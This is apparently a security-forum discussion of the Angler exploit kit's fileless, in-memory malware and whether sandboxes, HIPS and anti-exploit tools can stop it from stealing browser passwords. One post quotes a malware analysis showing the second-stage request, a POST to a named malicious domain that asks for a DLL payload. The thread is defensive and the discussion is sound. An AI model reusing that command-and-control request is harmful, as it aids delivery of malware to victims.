Yes, but inside the browser, malware cannot steal data if you blocked/prevented access to files inside your sandbox. Passwords and data theft inside the browser or one thing, but all you have to do with Sandboxie, is simply close it and automatically delete sandbox-end of malware and password stealing and end of data theft.
And does Sandboxie have that-to restrict browser from having access to passwords and all other data and everything else you mentioned inside the browser? Than obviously properly configured Sandboxie can protect against memory fileless malware (when it comes to stealing passwords and all other data inside the browser, that you and others mentioned), after all?
I assume that his comment about AE not alerting refers to the first stage, payload, of the exploit: http://malware.dontneedcoffee.com/2014/08/angler-ek-now-capable-of-fileless.html Thus, no anti-exec would alert at this stage. Further on in his analysis, he refers to the call for the 2nd payload, the DLL, which writes to disk: Code: Call for 2nd Stage payload looks like : ... POST https://koqpisea.in/ HTTP/1.1 ... {"protocolVersion":1,"buildId":1049,"id":"35d1754a1c4672f2","tags":[{"type":"dll","64bit":0}]} He continues: He doesn't say anything about catching this payload. Is this the way you see it? Can you PM him from the kernelmode forum? I'm not a member. By the way, Faronics has an Antivirus product with Process Protection. I asked if they could test this, and am waiting for a response. ---- rich
Well, not only infection technique but also most form of malware. Why AV vendor emphasize cryptlocker as if they're new kind of threat? The one was already there in 1989! lol.
Thanks for kind words, but I have reason not to post in that thread. I'm a wholist when it comes to security, and for me discussing only what product you use or what to use is nonsense. IMHO it's much more important how to use and configure the product, how to act on browsing or on what so ever, how to keep up-to-date information about emerging new threats etc. That can't be written down shortly and be discussed througly in single thread, but each product thread and news/discussion thread have part of such info so I have much more interest in those threads. Another reason is I'm reluctant to comment on others' setup unless there's obvious problem and also don't like to be commented on my setup, as each one has his own prefarence & different idea about security, and each machine has liking/disliking which often can't be explained. In the thread there'd been discussion about SBIE usage, but I don't comment because I understand both side. I understand bo, from SBIE side it's better not to pile up security, most security program requires SBIE to make small hole for compatibility which might be abused in advanced attack. OTOH, I understand justenough as there's not 100% in security. I hope you understand me.
That's why more details would be nice, it would be interesting to know how this can be blocked. For example, let's say that ransomware and banking trojans are running inside browser memory, so without any files on disk, and without a separate process. In theory, a tool like HMPA should still be able to stop the browser from encrypting files, and it should also detect the malicious browser hooking. Other HIPS like Zemana and SpyShelter can also stop (not only detect) browser hooking. This means that username and password will not be visible to SSL loggers. SpyShelter even came up with a unique feature which makes it possible to block malicious extensions trying to log keystrokes inside Firefox.
Would Zemana Anti-Logger keep this from stealing a password entered by LastPass using Chrome? The PPAPI plugin would also be on a separate sandboxed process from the open tab.
How are you so sure? Probably because the malware is running inside the browser I assume, I was also thinking of this. However, SSL loggers work by hooking/modifying browser memory. So the question is: does it matter if they are running inside browser memory or outside the browser with a separate process.
I am not 100% sure about data or password theft. But I am 100 sure that the specific malware technique I tested above is not detected by Zemana or SpyShelter or any other HIPS. Now what this malware can do after being injected into browser, that I have no idea about. If it can steal data directly from the browser, then these HIPS will not stop it. If it downloads another payload to perform this job that it might or might not be intercepted at that stage. It all depends what it tries to do and how it does. The main interesting point of this malware is that it is able to defeat the classical HIPS and that's a big deal IMO. I think with time we will see more and more such sophisticated software.
If it can't get out of the Chrome plugin sandbox (PPAPI) it can't steal anything and if it does keystroke encryption is another barrier to it doing so. Beyond that I use MBAE which did block the exploit. The only thing Kafiene showed was that under one specific setup he used Angler EK was able to bypass security.
DW will fail the injection just like any other sandbox and it might stop the malware from stealing data except from within the browser.
Actually I think we still know very little about this malware. What we are seeing, may be just the tip of an iceburg.
Hi, let's think again what hook is. In my understanding, hook is a procedure that embeds your own processing into another program. So if malware.exe want to steal or modify data in another program (but not from files on disk), say firefox.exe, then malware.exe need to install hook to that process. But in-mem malware is like attacker made malicious browser and user installed it, well not exactly but it's meant to help you understand, let me call it as Mirefox.exe. That Mirefox.exe don't need to install hook to do his own job, right? Sure, if this Mr. malware want to do many malicious thing like all other malware, it might try to hook but if he is modest enough and only do job of a browser, no need to hook. And you can set as strict as possible ristriction to that Mirefox, but remember you don't know it's malware (don't know process is exploited) and thus you should at least allow job of browser. Do you actually block cookie folder for any browser? It will end up just breaking that browser, and even so can't block memory info to be stolen. That data theft can be done WITHIN the work by browser, no need for key logging, so no HIPS or sandbox will block it. If you ask how this can be blocked, only 2 possible solution I can think of: 1. mess in the browser memory This is done by some HIPS like Comodo memory FW or McAfee HIPS, but it's almost anti-exploit in HIPS though those examples are for old stack over-flow. Or you may think a kind of heuristic which detect malicious action. But since in this case info theft is just a part of browser work (browser have to be able to send credentials to sites), it's quite hard except: a). That malicious server is blacklisted: in this case anyway usual AV detect and block it before exploit. b). Malicious browser try to send them in not modest way which usual browser follow: it's possible, and this is why most in-mem malware can be blocked by HIPS. 2. Chromium's way (with strict site isolation) In this case, Malchrome is only partly possible, only one of child process can become malware, but it don't have any right by itself. I already described how this malicious process can steal info when strict site isolation is off (some may think what if the 1st party was infected, but I already thought of those possible scenarios and my conclusion is all those scenarios are unlikely or no different from original scenario), but if it is on, that process have to interact with another process and this is restricted by Chrome sandbox. But I think such sandbox is only possible when developer of the browser implemented that, it's quite hard or impossible other 3rd party program to implement such sandbox to any of browser.
Well, to me it's not a big deal, because this is old news. Old skool HIPS were not designed to block advanced exploits, so that why it's cool that new tools like EMET/HMPA/MBAE have filled in this hole. Of course HIPS with process control like SSM can still stop lots of exploits by simply blocking the payload, just like EXE Radar and VoodooShield.
Yes, this is what I'm wondering about, so you're saying that in-memory (file-less) malware doesn't have to alter browser memory? I thought that it was perhaps still necessary to modify inline/IAT hooks in order to alter browser behavior. But now that I think of it, perhaps you can think of it like a browser sniffer running inside memory, something like this: http://securityxploded.com/password-sniffer-spy.php
These so called old school HIPS are able to stop most of zero day malware while I am note sure the anti-exploit tools will be able to intercept any zero day exploits/ malware or not.
And when you (automatically) delete Sandboxie's sandbox your session passwords and browser data are all deleted as well, so it's safe after all.